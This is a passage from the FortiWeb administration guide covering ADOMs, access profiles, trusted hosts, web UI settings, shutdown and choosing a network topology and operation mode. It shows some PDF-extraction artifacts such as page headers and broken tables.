2. Go to System > Status > Status, then in the System Information widget, in the Administrative Domains
row, click Disable.
3. Continue by reconfiguring the appliance. For details, see How to set up your FortiWeb on page 66.
See also
l Permissions on page 56
l Defining ADOMs on page 53
l Assigning administrators to an ADOM on page 55
l Administrators on page 328
l Configuring access profiles on page 331
Defining ADOMs
Some settings can only be configured by the admin account—they are global. Global settings apply to the appliance
overall regardless of ADOM, such as:

Key concepts 54
l Operation mode
l Network interfaces
l System time
l Backups
l Administrator accounts
l Access profiles
l FortiGuard connectivity settings
l HA and configuration sync
l SNMP
l RAID
l Vulnerability scans
l exec ping and other global operations that exist only in the CLI
Only the admin account can configure global settings.
In the current release, some settings, such as user accounts for HTTP
authentication, anti-defacement, and logging destinations are read-only for ADOM
administrators. Future releases will allow ADOM administrators to configure these
settings separately for their ADOM.
Other settings can be configured separately for each ADOM. They essentially define each ADOM. For example,
the policies of adom-A are separate from adom-B.
Initially, only the root ADOM exists, and it contains settings such as policies that were global before ADOMs were
enabled. Typically, you will create additional ADOMs, and few if any administrators will be assigned to the root
ADOM.
After ADOMs are created, the admin account usually assigns other administrator accounts to configure their ADOM-
specific settings. However, as the root account, the admin administrator does have permission to configure all settings,
including those within ADOMs.
To create an ADOM
1. Log in with the admin account.

Other administrators do not have permissions to configure ADOMs.
2. Go to Global > System > Administrative Domain > Administrative Domain.
The maximum number of ADOMs you can add varies by your FortiWeb model.
The number of ADOMs is limited by available physical memory (RAM), and
therefore also limits the maximum number of policies and sessions per ADOM.
See Appendix B: Maximum configuration values on page 865.
3. Click Create New, enter the Name, then click OK.

The new ADOM exists, but its settings are not yet configured. Alternatively, to configure the default root ADOM,
click root.
4. Do one of the following:
l assign another administrator account to configure the ADOM (continue with Assigning administrators to an
ADOM on page 55), or

Key concepts 55
l configure the ADOM yourself: in the navigation menu on the left, click the ADOM list on the top level to display
all the ADOMs, click the name of the new ADOM, then configure its policies and other settings as usual.
l configure the ADOM yourself: in the navigation menu on the left, click Administrative Domains, click the
name of the new ADOM, then configure its policies and other settings as usual.
See also
l Assigning administrators to an ADOM on page 55

Assigning administrators to an ADOM
The admin administrator can create other administrators and assign their account to an ADOM, constraining them to
that ADOM’s configurations and data.
To assign an administrator to an ADOM
1. If you have not yet created any administrator access profiles, create at least one. For details, see Configuring
access profiles on page 331.
2. In the administrator account’s Access Profile on page 330, select the new access profile.
(Administrators assigned to the prof_admin access profile will have global access. They cannot be restricted to an
ADOM.)
3. In the administrator account’s Administrative Domain on page 331, select the account’s assigned ADOM.
Currently, in this version of FortiWeb, administrators cannot be assigned to more than one ADOM.
See also

l Defining ADOMs on page 53
How to use the web UI
This topic describes aspects that are general to the use of the web UI, a graphical user interface (GUI) that provides
access the FortiWeb appliance from within a web browser.
System requirements
The management computer that you use to access the web UI must have:

Key concepts 56
l A compatible web browser, such as Microsoft Edge 41 or greater, Mozilla Firefox 59 or greater, or Google Chrome
65 or greater
l Adobe Flash Player 10 or greater plug-in
To minimize scrolling, the computer’s screen should have a resolution that is a minimum of 1280 x 1024 pixels.
URL for access
For first-time connection, see Connecting to the web UI on page 84.

The default URL to access the web UI through the network interface on port1 is:
https://192.168.1.99
If the network interfaces were configured during installation of the FortiWeb appliance (see Configuring the network
settings on page 124), the URL and/or permitted administrative access protocols may no longer be in their default state.
In that case, use either a DNS-resolvable domain name for the FortiWeb appliance as the URL, or the IP address that
was assigned to the network interface during the installation process.
For example, you might have configured port2 with the IP address 192.0.2.155 and enabled HTTPS. You might have
also configured a private DNS server on your network to resolve FortiWeb.example.com to 192.0.2.155. In this case, to
access the web UI through port2, you could enter either https://FortiWeb.example.com/ or
https://192.0.2.155/.
For details about enabling administrative access protocols and configuring IP addresses for the FortiWeb appliance, see
Configuring the network settings on page 124.
If the URL is correct and you still cannot access the web UI, you may also need to
configure FortiWeb to accept login attempts for your administrator account from that
computer (that is, trusted hosts), and/or static routes. For details, see
Administrators on page 328 and Adding a gateway on page 142.
Permissions
Depending on the account that you use to log in to the FortiWeb appliance, you may not have complete access to all
CLI commands or areas of the web UI.
Together, both:
l Access profiles and
l Administrative domains (ADOMs)
control which commands and settings an administrator account can use.
Access profiles assign either:
l Read (view access)
l Write (change and execute access)
l Both Read and Write
l No access
to each area of the FortiWeb software.

Key concepts 57
Similar to VDOMs on FortiGate, ADOMs on FortiWeb divide policies and other settings so that they each can be
assigned to a different administrators.
Areas of control in access profiles
Access profile setting Grants access to*
Admin Users System > Admin ... except Settings Web UI

admingrp config system admin CLI
config system accprofile
Auth Users User ... Web UI
authusergrp config user ... CLI
Log & Report Log & Report ... Web UI

loggrp config log ... CLI
execute formatlogdisk
Maintenance System > Maintenance except System Time tab Web UI

mntgrp diagnose system ... CLI
execute backup ...
execute factoryreset
execute rebootexecute restore ...
execute shutdown
diagnose system flash ...
Network Configuration System > Network ... Web UI

netgrp config system interface CLI
config system dns
config system v-zone
diagnose network ... except sniffer ...
Router Configuration Router ... Web UI
routegrp config router ... CLI
System Configuration System ... except Network, Admin, and Maintenance tabs Web UI
sysgrp config system except accprofile, admin, dns, interface, and CLI
v-zone
diagnose hardware ...
diagnose network sniffer ...
diagnose system ... except flash ...
execute date ...
execute ha ...
execute ping ...
execute ping-options ...
execute traceroute ...
execute time ...
Server Policy Policy > Server Policy ... Server Objects ... Application Delivery ... Web UI
Configuration

Key concepts 58
Access profile setting Grants access to*

traroutegrp config server-policy ... except custom-application ... CLI
config waf file-compress-rule
config waf http-authen ...

config waf url-rewrite ...
diagnose policy ...
Web Anti-Defacement Web Anti-Defacement ... Web UI

Management
wadgrp config wad ... CLI
Web Protection Policy > Web Protection ... Web UI

Configuration Web Protection ...
DoS Protection ...
wafgrp config system dos-prevention CLI
config waf except:
l config waf file-compress-rule
l config waf http-authen ...
l config waf url-rewrite ...
l config waf web-custom-robot
l config waf web-robot
l config waf x-forwarded-for
Web Vulnerability Web Vulnerability Scan ... Web UI
Scan Configuration
wvsgrp config wvs ... CLI
* For each config command, there is an equivalent get/ show command, unless otherwise noted.
config access requires write permission.
get/ show access requires read permission.
Unlike other administrator accounts, the administrator account named admin exists by default and cannot be deleted.
The admin administrator account is similar to a root administrator account. This administrator account always has full
permission to view and change all FortiWeb configuration options, including viewing and changing all other
administrator accounts and ADOMs. Its name and permissions cannot be changed. It is the only administrator account
that can reset another administrator’s password without being required to enter that administrator’s existing password.
Set a strong password for the admin administrator account, and change the
password regularly. By default, this administrator account has no password. Failure
to maintain the password of the admin administrator account could compromise
the security of your FortiWeb appliance.
For complete access to all commands and abilities, you must log in with the administrator account named admin.
See also


Key concepts 59

l Trusted hosts on page 59
Trusted hosts
As their name implies, trusted hosts are assumed to be (to a reasonable degree) safe sources of administrative login
attempts.
Configuring the trusted hosts of your administrator accounts (Trusted Host #1 on page 330, Trusted Host #2 on page
330, and Trusted Host #3 on page 330) hardens the security of your FortiWeb appliance by further restricting
administrative access. In addition to knowing the password, an administrator must connect only from the computer or
subnets you specify. The FortiWeb appliance will not allow logins for that account from any other IP addresses. If all
administrator accounts are configured with specific trusted hosts, FortiWeb will ignore login attempts from all other
computers. eliminates the risk that FortiWeb could be compromised by a brute force login attack from an untrusted
source.
Trusted host definitions apply both to the web UI and to the CLI when accessed through Telnet, SSH, or the Status
dashboard on page 681. Local console access is not affected by trusted hosts, as the local console is by definition not
remote, and does not occur through the network.
Relatedly, you can white-list trusted end-user IP addresses. End users do not log in to the web UI, but their connections
to protected web servers are normally subject to protective scans by FortiWeb unless the clients are trusted. For details,
see Blacklisting & whitelisting clients using a source IP or source IP range on page 447.
See also

Maximum concurrent administrator sessions
If single administrator mode is enabled, you will not be able to log in while any other account is logged in. You must
either wait for the other person to log out, or power cycle the appliance.
For details, see How to use the web UI on page 55.
Global web UI & CLI settings
Some settings for connections to the web UI and CLI apply regardless of which administrator account you use to log in.
To configure administrator settings
1. Go to System > Admin > Settings.

To access this part of the web UI, your administrator's account access profile must have Read and Write
permission to items in the System Configuration category. For details, see Permissions on page 56.
2. Configure these settings:
Web Administration Ports

Key concepts 60
HTTP Type the TCP port number on which the FortiWeb appliance will listen for
HTTP administrative access. The default is 80.
The HTTP access to FortiWeb's GUI will be automatically redirected to
HTTPS.
This setting has an effect only if HTTP on page 128 is enabled as an

administrative access protocol on at least one network interface. For
details, see Configuring the network interfaces on page 126.
HTTPS Type the TCP port number on which the FortiWeb appliance will listen for
HTTPS administrative access. The default is 443.
This setting has an effect only if HTTPS on page 127 is enabled as an

administrative access protocol on at least one network interface. For
details, see Configuring the network interfaces on page 126.
HTTPS Server Select the certificate that FortiWeb uses for secure connections to its
Certificate Web UI. For details, see How to offload or inspect HTTPS on page 396.
Certificates stored in System > Admin > Admin Cert Local are listed
here for options. defaulthttpscert is the Fortinet factory default
certificate. For details, see How to change FortiWeb's default certificate
on page 431.
Config-Sync Type the TCP port number on which the FortiWeb appliance will listen for
configuration synchronization requests from the peer/remote FortiWeb
appliance. The default is 995.
For details, see Replicating the configuration without FortiWeb HA

(external HA) on page 119.
Note: This is not used by HA. See FortiWeb high availability (HA) on
page 48.
Timeout Settings
Idle Timeout Type the number of minutes that a web UI connection can be idle before
the administrator must log in again. The maximum is 480 minutes
(8 hours). To maintain security, keep the idle timeout at the default value
of 5 minutes.
Language
Web Administration Select which language to use when displaying the web UI.
Languages currently supported by the web UI are:
l English
l Simplified Chinese
l Traditional Chinese
l Japanese

Key concepts 61
The display’s web pages will use UTF-8 encoding, regardless of which
language you choose. UTF-8 supports multiple languages, and allows
them to display correctly, even when multiple languages are used on the
same web page.
For example, your organization could have websites in both English and
simplified Chinese. Your FortiWeb administrators prefer to work in the
English version of the web UI. They could use the web UI in English while
writing rules to match content in both English and simplified Chinese
without changing this setting. Both the rules and the web UI will display
correctly, as long as all rules were input using UTF-8.
Usually, your text input method or your management computer’s

operating system should match the display by also using UTF-8. If they
do not, your input and the web UI may not display correctly at the same
time.
For example, your web browser’s or operating system’s default encoding

for simplified Chinese input may be GB2312. However, you usually
should switch it to be UTF-8 when using the web UI, unless you are
writing regular expressions that must match HTTP client’s requests, and
those requests use GB2312 encoding.
Note: Regular expressions are impacted by language. For details, see

Language support on page 888.
Note: This setting does not affect the display of the CLI.
Password Policy
Minimum length Enable to set the minimum password length. The valid range is 8–128,
and the default value is 8.
Enable Single Admin Enable to activate login by single admin user.

User login
Character requirements Enable to configure the password characters, the upper/lower case,
numbers, and special characters.
Forbid password reuse Enable to set the number of history passwords that can not be reused.
Password expiration Enable to enter the valid period of the password. The valid range is 1–999
days.
3. Click Apply.
See also
l Configuring the network interfaces on page 126

Key concepts 62
Buttons, menus, & the displays
A navigation menu is located on the left side of the web UI. To expand a menu item, simply click it. To expand a
submenu item click the > button located next to the submenu name, or click the submenu name itself. To view the
pages located within a submenu, click the name of the page.
Do not use your browser’s Back button to navigate—pages may not operate
correctly. Instead, use the navigation menu, tabs, and buttons within the pages of
the web UI.
To expand or collapse an area of the menu, click the name of the area itself. Within each area may be multiple
submenus. To expand or collapse a submenu, click the > or v button next to the submenu name, or click the name of
the submenu itself.
Within each submenu may be one or more tabs or sub-panes, which are displayed to the right of the navigation menu, in
the content pane. At the top of the content pane is a toolbar. The toolbar contains buttons that enable you to perform
operations on items displayed in the content pane, such as importing or deleting entries.
Each tab or pane (per Permissions on page 56) displays or allows you to modify settings, using a similar set of buttons.
Common buttons and menus
Icon Description
Click to collapse a visible area.
Click to expand a hidden area.

Key concepts 63
Icon Description
Click to view the first page’s worth of records within the tab. or pane.
If this button is grey, you are already viewing the first page.
Click to view the previous page’s worth of records within the tab or pane.
If this button is grey, you are viewing the first page.
To go to a specific page number, type the page number in the field and press Enter.
The total number of pages depends on the number of records per page.
Click to view the next page’s worth of records within the tab or pane.
If this button is grey, you are viewing the last page.
Click to view the last page’s worth of records within the tab or pane.
If this button is gray, you are already viewing the last page.
Click to create a new entry using only typical default values as a starting point.
Click to create a new entry by duplicating an existing entry.
To use this button, you must first mark a check box to select an existing entry upon which the
new entry will be based.
Click to modify an existing entry.
To use this button, you must first select which existing entry you want to modify.
Alternatively, you can double-click the existing entry, or right-click the entry and select Edit.
Click to remove an existing entry.

To use this button, you must first mark a check box to select which existing entry you want to
remove.
To delete multiple entries, either mark the check boxes of each entry that you want to delete,
then click Delete.
This button may not always be available. See Deleting entries on page 64.
Common buttons are not described in subsequent sections of this guide.

Some pages have unique buttons, or special behaviors associated with common buttons. Those buttons are described
in their corresponding section of this guide.

Key concepts 64
See also
l Deleting entries on page 64

l Renaming entries on page 64
Deleting entries
Back up the configuration before deleting any part of the configuration. Deleted items cannot be recovered unless you
upload a backup copy of the previous configuration. For details, see Backups on page 322 and Restoring a previous
configuration on page 325.
To delete a part of the configuration, you must first remove all references to it.
For example, if you selected a profile named “Profile1” in a policy named “PolicyA”, that policy references “Profile1” and
requires it to exist. Therefore the appliance will not allow you to delete “Profile1” until you have reconfigured “PolicyA”
(and any other references) so that “Profile1” is no longer required and may be safely deleted. Predefined entries
included with the firmware cannot be deleted.
If you do not know where your configuration refers to the entry that you want to
delete, to find the references, you can download a backup of the configuration and
use a plain text editor to search for the entry’s name.
See also
l Buttons, menus, & the displays on page 62

l Renaming entries on page 64
Renaming entries
In the web UI, each entry’s name is not editable after you create and save it.
For example, let’s say you create a policy whose Name is “PolicyA”. While configuring the policy, you change your mind
about the policy’s name a few times, and ultimately you change the Name to “Blog-Policy”. Finally, you click OK to save
the policy. Afterwards, if you edit the policy, most settings can be changed. However, Name is greyed-out, and cannot
any longer be changed.
While you cannot edit Name, you can achieve the same effect by other means.
To rename an entry
1. Clone the entry, supplying the new name.

2. In all areas of the configuration that refer to the old name, replace the old entry name by selecting the new name.

Key concepts 65
If you do not know where your configuration refers to the entry that you want to
delete, to find the references, you can download a backup of the configuration
and use a plain text editor to search for the entry’s name.
Alternatively, if you need to rename an item that is only referenced in the core
configuration file, you can download a backup copy, use a plain text editor to find
and replace the entry’s old name, then restore the modified configuration backup
file to the appliance. Where there are many references, this may save time.
3. Delete the item with the old name.
See also
l Buttons, menus, & the displays on page 62

l Deleting entries on page 64
Shutdown
Always properly shut down the FortiWeb appliance’s operating system before turning off the power switch or
unplugging it. This causes it to finish writing any buffered data, and to correctly spin down and park the hard disks.
Do not unplug or switch off the FortiWeb appliance without first halting the operating
system. Failure to do so could cause data loss and hardware damage.
To power off the FortiWeb appliance
1. Access the CLI or web UI. For details, see Connecting to the web UI or CLI on page 84.
2. From the CLI console, enter the following command:
execute shutdown
Alternatively, if you are connected to the web UI, go to System > Status > Status, and in the Operation widget,
click Shut Down.
You may be able to hear the appliance become more quiet when the appliance halts its hardware and operating
system, indicating that power can be safely disconnected.
3. For hardware appliances, press the power button if there is one. Power supplies and switches vary by hardware
model. On some, you will press the power button. On others, you will flip the switch to either the off (O) or on (I)
position. When power is connected and the hardware is started, the power indicator LEDs should light. For details,
see the LED specifications in the QuickStart Guide for your model.
For FortiWeb-VM, in the hypervisor or VM manager, power off the virtual machine.
4. Disconnect the power cable from the power supply.

How to set up your FortiWeb
These instructions will guide you to the point where you have a simple, verifiably working installation.
From there, you can begin to use optional features and fine-tune your configuration.
If you are deploying gradually, you may want to initially install your FortiWeb in Offline Protection mode during the
transition phase. In this case, you may need to complete the procedures in this section multiple times: once for Offline
Protection mode, then again when you switch to your permanent choice of operation modes. For details, see Switching
out of Offline Protection mode on page 215.
Time required to deploy varies by:
l Number of your web applications
l Complexity of your web applications
Appliance vs. VMware
Installation workflow varies depending on whether you are installing FortiWeb as a physical appliance or as a virtual
machine.
To install a physical FortiWeb appliance, follow the instructions in How to set up your FortiWeb on page 66 sequentially.
To install a virtual appliance, FortiWeb-VM, first follow the FortiWeb-VM Install Guide
(http://docs.fortinet.com/fortiweb/hardware), then continue with How to set up your FortiWeb on page 66.
Registering your FortiWeb
Before you begin, take a moment to register your Fortinet product at the Fortinet Customer Service & Support website:
Many Fortinet services such as firmware updates, technical support, FortiGuard services, and FortiSandbox services
require product registration.
For details, see the Fortinet Knowledge Base Registration FAQ:
http://kb.fortinet.com/kb/documentLink.do?externalID=12071
Planning the network topology
To receive traffic intended for web servers that your FortiWeb appliance will protect, you usually must install the
FortiWeb appliance between the web servers and all clients that access them.

The network configuration should make sure that all network traffic destined for the web servers must first pass to or
through the FortiWeb appliance (depending on your operation mode). Usually, clients access web servers from the
Internet through a firewall such as a FortiGate, so the FortiWeb appliance should be installed between the web servers
and the firewall.
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Install a general purpose firewall such as FortiGate in addition to the FortiWeb

appliance. Failure to do so could leave your web servers vulnerable to attacks that
are not HTTP/HTTPS-based. FortiWeb appliances are not general-purpose
firewalls, and, if you enable IP-based forwarding, will allow non-HTTP/HTTPS traffic
to pass through without inspection.
Ideally, control and protection measures should only allow web traffic to reach
FortiWeb and your web servers. FortiWeb and FortiGate complement each other to
improve security.
Other topology details and features vary by the mode in which the FortiWeb appliance will operate. For example,
FortiWeb appliances operating in Offline Protection mode or either of the transparent modes cannot do network address
translation (NAT) or load-balancing; FortiWeb appliances operating in Reverse Proxy mode can.
External load balancers: before or after?
Usually you should deploy FortiWeb in front of your load balancer (such as FortiBalancer, FortiADC, or any other
device that applies source NAT), so that FortiWeb is between the load balancer and the clients. This has important
effects:
l Simplified configuration
l Un-scanned traffic will not reach your load balancer, improving its performance and security
l At the IP layer, from FortiWeb’s perspective, HTTP requests will correctly appear to originate from the real client’s
IP address, not (due to SNAT) your load balancer
Otherwise, attackers’ and legitimate clients’ IP addresses may be hidden by the load balancer.

Alternatively, depending on the features that you require, you may be able to use
FortiWeb’s built-in load balancing features instead. For details, see Load Balancing
Algorithm on page 170.
This is an example of a network topology with a load balancer behind a FortiWeb:
Client
10.0.2.200
Web
Server 1
FortiWeb FortiADC
10.0.2.1 192.0.2.1
port2 port3
Block 10.0.2.200? Web

Server 2
ü
FortiWeb Sees
HTTP Client’s IP

This is an example of an incorrect configuration in which a load balancer is in front of a FortiWeb and there are no X-
headers:
Client
10.0.2.200
Web
Server 1
FortiADC FortiWeb
10.0.2.1 192.0.2.1 192.0.2.2 172.0.2.1
port2 port3 port2 port3
Block 192.0.2.1? Web

Server 2
SNAT Hides
HTTP Client’s IP
To prevent such an incorrect configuration, you must configure your devices to compensate if FortiWeb is behind your
load balancer. Configure your load balancer so that it does not multiplex HTTP requests from different clients into each
TCP connection with FortiWeb.
FortiWeb often applies blocking at the TCP/IP connection level, which could result in blocking innocent HTTP requests if
the load balancer is transmitting them within the same TCP connection as an attack. It could therefore appear to cause
intermittent failed requests. To account for this, configure your load balancer to insert or append an X-Forwarded-
For:, X-Real-IP:, or other HTTP X-header. Also configure FortiWeb to find the original attacker’s or client’s IP
address in that HTTP header, not in the IP session. For details, see Defining your proxies, clients, & X-headers on page
193.
Some features do not support using client IPs found in the X-header. For details,
see Defining your proxies, clients, & X-headers on page 193.

This is an example of a correct configuration in which a load balancer is in front of a FortiWeb and there are X-headers:
Client
10.0.2.200
Web
Server 1
FortiADC FortiWeb
10.0.2.1 192.0.2.1 192.0.2.2 172.0.2.1
GET /index.php
X-Real-IP:
10.0.2.200,192.0.2.1 Block 10.0.2.200? Web
Server 2
ü
FortiWeb Sees
HTTP Client’s IP
Do not set any Action on page 463 to Period Block if the load balancer, or any other device in front of FortiWeb,
applies SNAT unless you have configured blocking based upon HTTP X-headers. Period blocking based upon the
source IP address at the IP layer will cause innocent requests forwarded by the SNAT device after an attack to be
blocked until the blocking period expires. It could therefore appear to cause intermittent service outages. For details,
see Blocking known attacks & data leaks on page 461.
How to choose the operation mode
Many things, including:

l Supported FortiWeb features
l Required network topology
l Positive/negative security model
l Web server configuration
vary by the operation mode. Choose the mode that best matches what you and your customers need.
Considerations are discussed in Supported features in each operation mode on page 71 and Matching topology with
operation mode & HA mode on page 74.
Because this is such a pivotal factor, consider the implications carefully before you make your choice. It
can be time-consuming to reconfigure your network if you switch modes later.
If you are not sure which operation mode is best for you, you can deploy in Offline
Protection mode temporarily.

Supported features in each operation mode
Many features work regardless of the operation mode that you choose. For some features, support varies by the
operation mode. For example, rewriting requires an inline topology and synchronous processing, and therefore is only
supported in modes that work that way.
For the broadest feature support, choose Reverse Proxy mode.
If you require a feature that is not supported in your chosen operation mode, such as DoS protection or SSL/TLS
offloading, configure your web server or another network appliance to provide that feature. The table below lists the
features that are not universally supported in all modes/protocols.
Feature support for each operation mode
Feature Operation mode
Reverse True Trans- Transparent Offline Pro- WCCP

Proxy parent Proxy Inspection tection
HA (Active-passive) Yes Yes Yes Yes Yes
HA (Active-active- Yes Yes No No No

Standard)
HA (Active-active-High Yes No No No No
Volume)
Bridges/V-zones No Yes Yes No No
Network Firewall Yes Yes Yes No No
Fail-to-wire No Yes Yes No Yes
Config. Sync (Non-HA) Yes^ Yes Yes Yes Yes
File Upload Yes Yes Yes Yes Yes
AJAX Block Yes Yes No No Yes
Error Page Customization Yes Yes No No Yes
Threat Weight Yes Yes Yes Yes Yes
FortiGate Quarantined IPs Yes Yes No No Yes
ADFS Policy Yes No No No No
HSTS Header Yes Yes No No Yes
HPKP Header Yes Yes No No Yes
OCSP Stapling Yes Yes No No Yes
TLS 1.0/1.1/1.2 Support Yes Yes Yes~¶ Yes~¶ Yes
TLS 1.3 Support Yes~ Yes~ No No Yes~
Client Certificate Yes Yes No No Yes

Forwarding


Client Certificate Yes Yes No No Yes

Verification
Statistic Yes Yes Yes Yes Yes
User Authentication Yes Yes No No Yes
Mobile Application Yes Yes Yes Yes Yes

Identification
HTTP/2 Support Yes Yes No No No
SSL/TLS Offloading Yes No No No No
Client Management Yes Yes Yes* Yes* Yes*
HTTP Content Routing Yes No No No No
Proxy Protocol Yes Yes Yes Yes No
Protected Hostnames Yes Yes Yes Yes Yes
Traffic Mirror Yes Yes No No No
Global White List Yes Yes Yes Yes Yes
X-Forwarded-For: Support Yes Yes Yes Yes Yes
URL Yes Yes No No Yes

Rewriting/Redirection
HTTP Authentication Yes Yes No No Yes
Site Publish Yes Yes No No Yes
File Compression Yes Yes No No Yes
Acceleration Yes Yes No No Yes
Caching Yes Yes No No Yes
Signatures Yes Yes Yes Yes Yes
Custom Signature Yes Yes Yes Yes Yes
Custom Policy Yes Yes Yes Yes Yes
Padding Oracle Security Yes Yes Yes Yes Yes
CSRF Protection Yes Yes No No Yes
HTTP Header Security Yes Yes No No Yes
Man in the Browser Yes Yes No No Yes

Protection Policy


URL Encryption Yes Yes No No Yes
SQL/XSS Syntax Based Yes Yes Yes Yes Yes

Detection
Cookie Security Yes Yes No No Yes
Parameter Validation Yes Yes Yes Yes Yes
Hidden Fields Yes Yes Yes Yes Yes
HTTP Protocol Yes Yes Yes Yes Yes

Constraints
WebSocket Security Yes Yes No No Yes
Chunk Decode Yes Yes Yes Yes Yes
URL Access Yes Yes Yes Yes Yes
Allow Method Yes Yes Yes Yes Yes
CORS Protection Yes Yes No No Yes
Bot Mitigation Yes Yes No No Yes
Biometrics Based Yes Yes No No Yes

Detection
Threshold Based Yes Yes No No Yes

Detection
Bot Deception Yes Yes No No Yes
Known Bots Yes Yes No No Yes
JSON Protection Yes Yes Yes Yes Yes
XML Protection Yes Yes Yes Yes Yes
WS-Security Rule Yes Yes No No Yes
OpenAPI Validation Yes Yes Yes Yes Yes
Mobile API Protection Yes Yes Yes Yes Yes
API Gateway Yes Yes Yes Yes Yes
HTTP Access Limit Yes Yes No No Yes
Malicious IPs Yes Yes No No Yes
HTTP Flood Prevention Yes Yes No No Yes
TCP Flood Prevention Yes Yes No No Yes


DoS Protection Yes Yes No No Yes
IP List Yes Yes Yes Yes Yes
Geo IP Yes Yes Yes Yes Yes
IP Reputation Yes Yes Yes Yes Yes
User Tracking Yes Yes Yes Yes Yes
Machine Learning - Yes Yes Yes Yes Yes

Anomaly Detection
Machine Learning - Bot Yes Yes Yes Yes Yes

Detection
^ Full configuration sync is not supported in Reverse Proxy mode.
§ Only the Alert action is supported.
* Requires that your web application have session IDs. For details, see Session Key on page 235.
~ DSA-encrypted server certificates are not supported.
¶ Diffie-Hellman key exchanges are not supported.
For the specific cipher suites that FortiWeb supports in each operating mode and protocol, see
Supported cipher suites & protocol versions on page 388.
Matching topology with operation mode & HA mode
Required physical topology varies by your choice of operation mode. It also varies depending on whether you
will operate a high availability (HA) cluster of FortiWeb appliances. You may need to consider 1 or 2 of the next sections:
l Topology for Reverse Proxy mode on page 74
l Topology for either of the transparent modes on page 77
l Topology for Offline Protection mode on page 78
l Topology for WCCP mode on page 80
Topology for Reverse Proxy mode
This is the default operation mode, and the most common. Most features are supported. For details, see Supported
features in each operation mode on page 71.

Requests are destined for a virtual server’s network interface and IP address on FortiWeb, not a web server directly.
FortiWeb usually applies full NAT. FortiWeb applies the first applicable policy, then forwards permitted traffic to a web
server. FortiWeb logs, blocks, or modifies violations according to the matching policy.
DNS A/AAAA record changes may be required in Reverse Proxy mode due to NAT.
Also, servers will see the IP of FortiWeb, not the source IP of clients, unless you
configure FortiWeb to insert/append to an HTTP X-header such as X-Forwarded-
For:. Verify that the server does not apply source IP-based features such as rate
limiting or geographical analysis, or, alternatively, that it can be configured to find
the original client’s source IP address in an HTTP X-header.
If you want to deploy without any IP and DNS changes to the existing network,
consider either of the transparent modes instead.
This is an example network topology for Reverse Proxy mode:
Client
Web
Server 1
192.0.2.2/24
FortiGate 10.0.2.1 port3
port2 192.0.2.1
Switch
192.0.2.3/24
FortiWeb
Web
Server 2
A client accesses two web servers over the Internet through a FortiWeb appliance. A firewall is installed between
FortiWeb and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator’s computer.
Port2 is connected to the firewall. Port3 is connected to a switch, which is connected to the web servers. The FortiWeb
appliance provides load-balancing between the two web servers.
Alternatively, this is an example that shows multiple protocols originating from the client in a one-arm topology in
Reverse Proxy mode:

FortiWeb
Client
HTTP port3
192.0.2.2
HTTP & Only
SFTP port2 port3
10.0.2.1 192.0.2.1
Scanned
HTTP
FortiGate 192.0.2.3/24
SFTP Web
Servers
Only HTTP/HTTPS is routed through FortiWeb for additional scanning and processing before arriving at the servers.
Virtual servers can be on the same subnet as physical servers. This is one way to
create a one-arm HTTP proxy. For example, the virtual server 192.0.2.1/24 could
forward to the physical server 192.0.2.2.
However, this is often not recommended. Unless your network’s routing

configuration prevents it, it could allow clients that are aware of the physical server’s
IP address to bypass the FortiWeb appliance by accessing the physical server
directly.
By default when in Reverse Proxy mode, FortiWeb will not forward non-HTTP/HTTPS traffic from virtual servers to
your protected back-end servers. By defaut, IP-based forwarding/routing of unscanned protocols is disabled.
If you must forward FTP, SSH, or other protocols to your back-end servers, we recommend that you do not deploy
FortiWeb inline. Instead, use FortiGate VIP port forwarding to scan then send FTP, SSH, etc. protocols directly to the
servers, bypassing FortiWeb. Deploy FortiWeb in a one-arm topology where FortiWeb receives only HTTP/HTTPS from
the FortiGate VIP/port forwarding, then relays it to your web servers. Carefully test to verify that only firewalled traffic
reaches your web servers.
If this is not possible, and you require FortiWeb to route non-HTTP protocols above the TCP layer, you may be able to
use the config router setting command. For details, see FortiWeb CLI Reference. For security and
performance reasons, this is not recommended.

Topology for either of the transparent modes
No changes to the IP address scheme of the network are required. Requests are destined for a web server, not the
FortiWeb appliance. More features are supported than Offline Protection mode, but fewer than Reverse Proxy, and may
vary if you use HTTPS (see also Supported features in each operation mode on page 71).
Unlike with Reverse Proxy mode, with both transparent modes, web servers will see the source IP address of clients.
You can configure VLAN subinterfaces on FortiWeb, or omit IP address configuration entirely and instead assign a
network port to be a part of a Layer 2-only bridge.
In both transparent modes, the appliance will forward non-HTTP/HTTPS

protocols. That is, routing /IP-based forwarding for unscanned protocols is
supported. This facilitates the pass-through of other protocols such as FTP or SSH
that may be necessary for a true drop-in, transparent solution.
This is an example of a network topology for either True Transparent Proxy or Transparent Inspection mode:
192.168.1.4/24
Web Web
Server 2 Server 1
192.168.1.3/24
Switch
Client
port4
192.168.1.1/24 (bridge1)
LAN
LA
port3
(bridge1)
FortiGate port1
172.16.1.10/24 FortiWeb
Administrator
A client accesses a web server over the Internet through a FortiWeb appliance. A firewall is installed between the
FortiWeb appliance and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator’s
computer. Port3 is connected to the firewall. Port4 is connected to the web servers. Port3 and port4 have no IP address
of their own, and act as a V-zone (bridge). Because port3 and port4 have hardware support for fail-to-wire, this topology
also gives you the option of configuring fail-open behavior in the event of FortiWeb power loss.
True Transparent Proxy mode and Transparent Inspection mode are the same in topology aspect, but due to
differences in the mode of interception, they do have a few important behavioral differences:
l True Transparent Proxy—FortiWeb transparently proxies the traffic arriving on a network port that belongs to
a Layer 2 bridge, applies the first applicable policy, and lets permitted traffic pass through. FortiWeb logs, blocks,

or modifies violations according to the matching policy and its protection profile. This mode supports user
authentication via HTTP but not HTTPS.
l Transparent Inspection—FortiWeb asynchronously inspects traffic arriving on a network port that belongs to
a Layer 2 bridge, applies the first applicable policy, and lets permitted traffic pass through. (Because it is
asynchronous, it minimizes latency.) FortiWeb logs or blocks traffic according to the matching policy and its
protection profile, but does not otherwise modify it. (It cannot, for example, offload SSL, load-balance connections,
or support user authentication.
Unlike in Reverse Proxy mode or True Transparent Proxy mode, actions other than
Alert cannot be guaranteed to be successful in Transparent Inspection mode. The
FortiWeb appliance will attempt to block traffic that violates the policy. However,
due to the nature of asynchronous inspection, the client or server may have already
received the traffic that violated the policy.
Topology for Offline Protection mode
“Out-of-band” is an appropriate descriptor for this mode. Minimal changes are required. It does not introduce any
latency. However, many features are not supported. For details, see Supported features in each operation mode on
page 71.
Most organizations do not permanently deploy their FortiWeb in Offline Protection

mode. Instead, they will use it as a way to learn about their web servers’
vulnerabilities and to configure some of the FortiWeb during a transition period,
after which they will switch to an operation mode that places the appliance inline
(between clients and web servers).
Switching out of Offline Protection mode when you are done with transition can
